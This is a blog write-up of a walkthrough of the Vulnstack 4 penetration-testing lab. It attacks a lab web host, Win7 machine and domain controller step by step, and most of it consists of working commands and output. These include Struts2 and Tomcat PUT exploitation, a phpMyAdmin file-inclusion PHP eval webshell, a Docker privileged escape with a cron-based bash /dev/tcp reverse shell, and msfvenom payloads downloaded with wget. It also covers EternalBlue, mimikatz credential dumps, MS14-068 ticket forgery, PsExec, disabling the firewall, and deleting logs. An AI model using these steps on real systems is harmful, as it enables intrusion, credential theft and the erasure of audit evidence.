红日靶场4

luyanpei

vulnstack4

环境搭建

1
2
3
4
机器密码
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:admin123@

网络环境

1
2
3
4
web主机双网卡 内网ip:192.168.183.129  公网ip:192.168.86.131
dc主机:内网ip:192.168.183.130
win7主机:内网ip:192.168.183.128
攻击机kali ip:192.168.86.132

web主机启动服务

1
2
3
sudo su
docker start ec 17 09 ad
docker ps

image-20250601160327178

信息搜集

1
nmap 192.168.86.131

image-20250601160453834

扫到四个端口,分别看一下

1
http://192.168.86.131:2001/

image-20250601160648299

是一个文件上传的接口

1
http://192.168.86.131:2002/

image-20250601160710153

2002是一个apache的tomcat服务

1
http://192.168.86.131:2003/

image-20250601161507424

phpMyAdmin,但是无法连接。

先从2001的文件上传接口开始突破

漏洞利用

漏扫一下看看

image-20250601172702986

1
2
3
4
5
6
7
8
9
10
11
12
13
POST方法,S2-046-bypass漏洞存在!!!,程序更改为S2-046-bypass漏洞测试模式, 响应码: 200 
POST方法,S2-046-1漏洞存在!!!,程序更改为S2-046-1漏洞测试模式, 响应码: 200
POST方法,S2-046-2漏洞存在!!!,程序更改为S2-046-2漏洞测试模式, 响应码: 200
POST方法,S2-046-3漏洞存在!!!,程序更改为S2-046-3漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass漏洞存在!!!,程序更改为S2-045-bypass漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass-2漏洞存在!!!,程序更改为S2-045-bypass-2漏洞测试模式, 响应码: 200
POST方法,S2-045-1漏洞存在!!!,程序更改为S2-045-1漏洞测试模式, 响应码: 200
POST方法,S2-045-2漏洞存在!!!,程序更改为S2-045-2漏洞测试模式, 响应码: 200


POST方法,S2-045-3漏洞存在!!!,程序更改为S2-045-3漏洞测试模式, 响应码: 200
POST方法,S2-045-4漏洞存在!!!,程序更改为S2-045-4漏洞测试模式, 响应码: 200

image-20250601172930575

框架利用直接可以命令执行,并且还是root,利用msf写jsp木马弹个shell出来

1
2
3
4
5
6
7
8
9
10
11
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.86.132 LPORT=4445 -f jsp > shell.jsp

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.86.132
lhost => 192.168.86.132
msf6 exploit(multi/handler) > set lport 4445
lport => 4445
msf6 exploit(multi/handler) > exploit

image-20250601173108066

shell出来

image-20250601173301900

但是从dockerfile来看,拿到的是docker环境的shell。

下面看

1
http://192.168.86.131:2002/

tomcat的打法

image-20250601181833028

泄露了tomcat的版本号,网上查找相关漏洞,参考链接CVE-2017-12615&Tomcat-pass-getshell - FreeBuf网络安全行业门户

CVE-2017-12615

漏洞描述

当存在漏洞的Tomcat运行在Windows/Linux主机上,且启用了HTTP PUT请求方法( 例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。

漏洞原理

漏洞的产生是由于配置不当(非默认配置),当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求)。

漏洞利用

打开给的地址,tomcat的默认界面

image-20250603002103280

既然确定了cve-2017-12615,是利用jsp文件上传put方式传马上去的

msf里面有集成利用模块

1
2
search tomcat_jsp
use 0

image-20250603002349588

image-20250603002404382

1
2
3
设置一下相关参数
set rhost 192.168.86.137(换了地方打,ip发生了变换)
set rport 2002

image-20250603002607545

成功弹回shell

不用msf集成模块打的话就用抓包改get方式为put方式传jsp马,可以文件流绕过,可以空格绕过,可以”/“绕过,我用”/“绕过上去用webshell连接即可

phpmyadmin打法

再看一下2003端口

image-20250604182131936

右下角泄露版本

image-20250604182225770

查一下相关版本,参考链接

phpMyAdmin另一种getshell姿势(CVE-2018-12613)_phpmyadmin rce-CSDN博客

版本 4.8.1 存在 CVE-2018-12613 远程文件包含,payload

1
?target=tbl_zoom_select.php?/../../../../../../etc/hosts

image-20250604182618022

因此利用 session 写入 shell 的方式进行 getshell
原理:
Http 协议是一种无状态协议,即每次服务端接收到客户端的请求时,都是一个全新的请求,服务器并不知道客户端的历史请求记录;

Session 的主要目的就是为了弥补 Http 的无状态特性。简单的说,就是服务器可以利用 session 存储客户端在同一个会话期间的一些操作记录;

因此这里相对应的 sql 的查询历史也会出现在 session 中,若是一句话木马出现在 session 中,那么就可以使用远程文件包含取得 shell 了。

session 常见的一些保存路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session 文件的存储路径是分为两种情况的

一是没有权限,默认存储在 /var/lib/php/sessions/ 目录下,文件名为 sess_[phpsessid],而 phpsessid 在发送的请求的 cookie 字段中可以看到(一般在利用漏洞时我们自己设置 phpsessid

二是 phpmyadmin,这时的 session 文件存储在 /tmp 目录下,需要在 php.ini 里把 session.auto_start 置为 1,把 session.save_path 目录设置为 /tmp

直接执行

1
SELECT "<?php phpinfo();?>"

image-20250604183014803

payload

1
?target=tbl_zoom_select.php?/../../../../../../tmp/sess_002ae7a61eb8335555c2a4cd34d9f1e8

image-20250604183112488

接着使用文件包含将一句话木马写到网站目录下,尝试过将一句话木马直接写在包含文件中是不可以进行连接的。毕竟只是包含并不是真正的接收参数的页面

1
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

访问根目录的cmd.php

蚂蚁剑连接

image-20250604190942164

docker逃逸

这里由于 docker 环境缺少太多必要的东西导致无法成功逃逸,并且提取成功无法切换用户

因为前文提到我们拿到的(tomcat)shell是处于docker环境中的

执行

1
cat /proc/1/cgroup

这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。

image-20250603002815700

下面我们要进行docker逃逸,拿到真正的web服务器shell

参考链接https://mp.weixin.qq.com/s/b6dCM059d_On5zZC-EYvtA

我们利用Dokcer之privileged特权模式逃逸

在容器内部的时候,我们首先判断我们当前容器是否是特权模式。

1
cat /proc/self/status | grep CapEff

image-20250603003107019

如果docker是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff:

说明我们是特权模式

逃逸方法

查看磁盘状态

1
fdisk -l

image-20250603004130654

能够看出来有一个8G的/dev/sda1 就是宿主机主磁盘,将该主磁盘挂载到test目录,

1
mkdir /test && mount /dev/sda1 /test

然后我们

1
ls /test

image-20250603004416687

就可以读取到磁盘内容了。

由于我们将宿主机根目录挂载到了/test,而我们的shell本身权限又是root,所以这里可以直接chroot将/test改为根目录

1
chroot /test

写一个计划任务将shell弹回到kali机器上

1
2
3
4
touch /test/test3.sh
echo "bash -i >& /dev/tcp/192.168.86.138/7777 0>&1" >/test/test4.sh
echo "* * * * * root bash /test4.sh" >> /test/etc/crontab

image-20250603010335178

1
nc -lvvp 7777

ok 监听7777 弹回shell 下面做内网信息搜集

内网信息搜集

双网卡的ubuntu

image-20250603115932072

发现了内网ip

1
192.168.183.132,183网段

利用python的http.server和wget传个马到靶机上

image-20250603090723103

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.86.132 LPORT=2226 -f elf > 2226.elf

image-20250603090944296

然后在该目录下python http服务

1
python3 -m http.server

利用刚刚的shell

1
wget 192.168.86.132:8000/2226.elf

image-20250603091106396

下载成功

1
2
chmod 777 2226.elf
nohup ./2226.elf &

image-20250603095249901

msf进行监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2226
exploit

image-20250603095317873

另外一边,执行木马

1
./2226.elf

image-20250603095417379

拿到了root的shell

利用msf进行路由转发

1
run autoroute -s 192.168.183.0/24

image-20250603120116012

然后

1
bg

先将会话放到后台

利用msf的udp_probe模块进行主机存活扫描

1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

结果

image-20250603120334298

1
2
192.168.183.130:137  WIN-ENS2VR5TR3N:
192.168.183.128:137 TESTWIN7-PC

找到两台主机,一台server一台win7,对这两台主机进行端口扫描

先扫server机器

1
nmap -sS -Pn 192.168.183.130

结果

image-20250603121606028

 开放:53,135,139,445,49158,49161等端口

再扫win7机器

1
nmap -sS -Pn 192.168.183.128

结果

image-20250603121339420

内网渗透

两台机器都开放了445,那不得不试一下永恒之蓝了,看一下是否存在

1
2
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.183.128

win7

image-20250603121636978

1
set rhost 192.168.183.130

server

image-20250603121652022

都存在

win7利用

1
2
3
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.128

msf代理问题,一直是fail

image-20250603154206073

换一种方式利用frp做穿透代理进去

1
2
3
4
5
6
7
8
在kali中用服务端
chmod +x frps
./frps -c ./frps.toml
用刚刚的shell将客户端上传上去
upload /home/lpp/Desktop/frp_0.62.1_linux_amd64/frpc
upload /home/lpp/Desktop/frp_0.62.1_linux_amd64/frpc.toml
chmod +x frpc

image-20250603163809321

在刚刚的web机器的shell里面启动客户端

1
./frpc -c frpc.toml

image-20250603170433701

服务端会有连接成功的日志

然后用proxychains4启动msf

1
proxychains4 msfconsole

永恒之蓝去打win7

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.128
run

拿到win7的shell

image-20250603170724652

验证权限

image-20250603170734526

还是system权限

查看系统信息

1
2
3
4
5
6
7
8
9
10
11
meterpreter > sysinfo
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Computer : TESTWIN7-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : DEMO
Logged On Users : 2
Meterpreter : x64/windows

在DEMO域环境内,加载kiwi模块看一下密码

1
2
load kiwi
creds_all

image-20250603172040308

只抓到douser用户密码 Dotest123

利用msf的enable_rdp模块开启3389端口

1
2
3
4
bg
use post/windows/manage/enable_rdp
set session 1
run

image-20250603172411020

1
netstat -an | find "3389"

可以看到3389已经开放

1
proxychains rdesktop 192.168.183.128

尝试远控登陆一下

image-20250603173021258

image-20250603173033933

发现没有信任关系

看看能不能通过刚刚的system的shell修改admin的密码来进行登录

但是下面有一个很严重的问题,通过proxychains4 msfconsole启动的msf拿到win7的shell之后,无法运行shell命令

gpt的解释如下

1
你之所以一直看到 “SMB Login Error” 并且绑定端口也连不上,根本原因是:SMB(445)和 Shell 绑定(4444/4446)流量都被 proxychains 强行走了 SOCKS5,导致 Metasploit 无法跟目标做原生的 SMB 握手,也无法完成反弹连接。

chisel代理

用chisel挂代理试试

在kali上

1
./chisel server -p 6666 --reverse

image-20250603200010277

拿下的ubuntu做客户端反向连接VPS,开启socks代理

将chisel传到Ubuntu里面,在ubuntu里

1
./chisel client 192.168.86.132:6666 R:socks

image-20250603200018938

更改 vim /etc/proxychains4.conf

image-20250603200120704

在msf里面

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.140
run

不过还是只有meterpreter还是没有shell

问题跟上面用frp是一样的

一直碰壁心态有点爆炸,笔者到这里已经鏖战好多个小时了

后面想想,既然回弹的流量到达不了kali,那我用ubuntu反向代理kali的流量,映射同一端口,实现两台机器的通信,并且有meterpreter,我们可以利用上传文件和执行文件

由于当前的网络环境是典型的“双网卡代理转发架构

网络结构

1
2
3
4
5
6
7
8
9
┌────────────┐        外网IP/WAN: 192.168.86.137 (eth0)
│ Ubuntu │◀──────── Kali 可以访问(通过公网IP)
│ chisel服务端│
└─────┬──────┘
│ 内网IP/LAN: 192.168.183.131 (eth1)

┌─────▼──────┐
│ Win7 │←→ Ubuntu 通信没问题(同内网)
└────────────┘
  • Ubuntu 做服务端:
1
2

chisel server -p 60000 --reverse
  • Kali 做客户端:
1
./chisel client 192.168.86.137:60000 R:60001:127.0.0.1:5555
  • MSF监听:
1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
run
  • 木马生成(用ubuntu的内网ip,这样win7可以回弹到ubuntu):
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.138 LPORT=60001 -f exe -o shell.exe

利用已有的会话上传上去木马

1
2
3
upload /home/lpp/shell6.exe
execute -f shell6.exe

成了,meterpreter能调出来shell

image-20250604161522170

至此成功拿下win7主机

累死主包了

域内信息收集

image-20250604171421701

下一步要拿下域控主机

image-20250604171530272

域控ip

1
192.168.183.130

查看桌面文件

image-20250604171729122

靶场搭建者已经为我们准备好了这么多现成工具,不用白不用,上文正向代理一开始的meterpreter中写过了,用msf 的kiwi模块也一样

kiwi或者mimikatz抓到的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113

Authentication Id : 0 ; 304788 (00000000:0004a694)
Session : Interactive from 1
User Name : douser
Domain : DEMO
Logon Server : WIN-ENS2VR5TR3N
Logon Time : 2025/6/3 20:27:45
SID : S-1-5-21-979886063-1111900045-1414766810-1107
msv :
[00010000] CredentialKeys
* NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e
* SHA1 : c48096437367aad00ac2dc70552051cd84912a55
[00000003] Primary
* Username : douser
* Domain : DEMO
* NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e
* SHA1 : c48096437367aad00ac2dc70552051cd84912a55
tspkg :
wdigest :
* Username : douser
* Domain : DEMO
* Password : Dotest123
kerberos :
* Username : douser
* Domain : DEMO.COM
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/6/3 20:27:30
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : TESTWIN7-PC$
Domain : DEMO
Logon Server : (null)
Logon Time : 2025/6/3 20:27:30
SID : S-1-5-20
msv :
[00000003] Primary
* Username : TESTWIN7-PC$
* Domain : DEMO
* NTLM : e3ba914bdaca29c197c7191ebf521873
* SHA1 : 68a1422322c303e4c24d63f381a03b34eb434477
tspkg :
wdigest :
* Username : TESTWIN7-PC$
* Domain : DEMO
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
kerberos :
* Username : testwin7-pc$
* Domain : demo.com
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
ssp :
credman :

Authentication Id : 0 ; 49695 (00000000:0000c21f)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/6/3 20:27:30
SID :
msv :
[00000003] Primary
* Username : TESTWIN7-PC$
* Domain : DEMO
* NTLM : e3ba914bdaca29c197c7191ebf521873
* SHA1 : 68a1422322c303e4c24d63f381a03b34eb434477
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : TESTWIN7-PC$
Domain : DEMO
Logon Server : (null)
Logon Time : 2025/6/3 20:27:30
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : TESTWIN7-PC$
* Domain : DEMO
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
kerberos :
* Username : testwin7-pc$
* Domain : DEMO.COM
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
ssp :
credman :

提取到的关键信息

1
2
3
4
5
6
7
8
9
USER:douser

Domain:DEMO.COM

NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e

SID:S-1-5-21-979886063-1111900045-1414766810-1107

PASSWORD:Dotest123

既然有sid,和douser的用户名和密码。我们利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。

靶场搭建者也为我们准备好了MS14-068.exe,可执行文件版

先创建个用户加入管理员组来远控

1
2
net user lpp admin123@ /add
net localgroup administrators lpp /add

前文已经用msf开启过win7的3389

1
2
proxychains rdesktop 192.168.183.140
yes

image-20250604172852678

image-20250604172937228

拿到win7权限

MS14-068操作步骤

1.生成高权限票据

格式:MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

1
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

image-20250604172347143

2.mimikatz导入TGT:

1
2
mimikatz.exe
kerberos::ptc TGT_douser@DEMO.COM.ccache

image-20250604173505817

导入后再psexec横向移动试试

psexec横向移动

3.psexec横向移动

1
PsExec64.exe /accepteula /s \\WIN-ENS2VR5TR3N cmd

image-20250604173740827

直接拿到了dc的shell,确认一下权限

image-20250604173815790

权限维持

我们利用msf制作一个后门

image-20250604174146564

win7与dc建立联系

1
net use \\WIN-ENS2VR5TR3N\c$

image-20250604174413735

利用MSF生产一个正向连接的payload

1
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=3333 -f exe > dc_shell.exe

将shell.exe上传到win7跳板机。

image-20250604174610544

将dc_shell.exe复制到域控

image-20250604174732625

1
copy shell.exe \\WIN-ENS2VR5TR3N\c$

使用 netsh 命令关闭防火墙,并执行dc_shell.exe后门

1
2
netsh advfirewall set allprofiles state off
dc_shell.exe

msf监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 3333
exploit

最后域控 192.168.183.130 上线。

image-20250604181753732

痕迹清理

1
2
3
4
5
6
7
8
9
10
11
12
主要是将两台Windows主机的日志清除,ubuntu主机的上传文件、webshell删除
wevtutil cl system

wevtutil cl security

wevtutil cl setup

wevtutil cl application

接下来在web主机查找日志文件并批量删除
find / -name *.log -exec rm -rf {} \;
find / -name *.log -exec rm {} \;

渗透测试结束,系统十分安全

  • Title: 红日靶场4
  • Author: luyanpei
  • Created at : 2025-06-04 16:07:05
  • Updated at : 2025-06-04 19:29:15
  • Link: https://redefine.ohevan.com/2025/06/04/内网渗透-红日4/
  • License: All Rights Reserved © luyanpei